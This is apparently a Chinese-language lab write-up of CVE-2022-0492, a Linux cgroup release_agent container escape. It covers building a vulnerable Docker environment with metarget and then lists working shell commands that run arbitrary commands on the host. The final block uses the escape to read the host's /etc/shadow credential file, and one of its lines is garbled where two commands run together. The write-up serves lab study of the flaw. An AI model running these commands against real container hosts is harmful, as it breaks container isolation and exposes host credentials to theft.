NOTE

漏洞原理

参考
参考

环境要求

  • Ubuntu 20.04.6LTS
  • Linux Kernel 5.8.0-23-generic
  • Docker Any
  • metarget

环境搭建

1
sudo ./metarget cnv install cve-2022-0492 --verbose

涉及到切换内核,所以需要reboot

构建漏洞容器

1
sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash

Ubuntu23.10安装这个内核会导致虚拟机爆炸。所以最好在Ubuntu20.04下安装

Exploit

挂载cgroup

1
2
3
4
5
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo 1 > /tmp/testcgroup/x/notify_on_release

创建命令执行文件,在release-agent触发的时候执行,在第三行写需要在host中执行的命令

1
2
3
4
5
touch /cmd
echo '#!/bin/sh' > /cmd
echo "lsns >> $host_path/result" >> /cmd
echo "neofetch>>$host_path/result" >> /cmd
chmod 777 /cmd

修改release_agent ,指向 cmd 文件在宿主机中的路径

1
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs

1
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸,逃逸成功。

接下来进/result查看命令执行结果

OgIdCD.png

Shell

1
2
3
4
5
6
7
8
9
10
11
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo 1 > /tmp/testcgroup/x/notify_on_releasetouch /cmd
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow >> $host_path/result" >> /cmd
chmod 777 /cmd
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
cat /result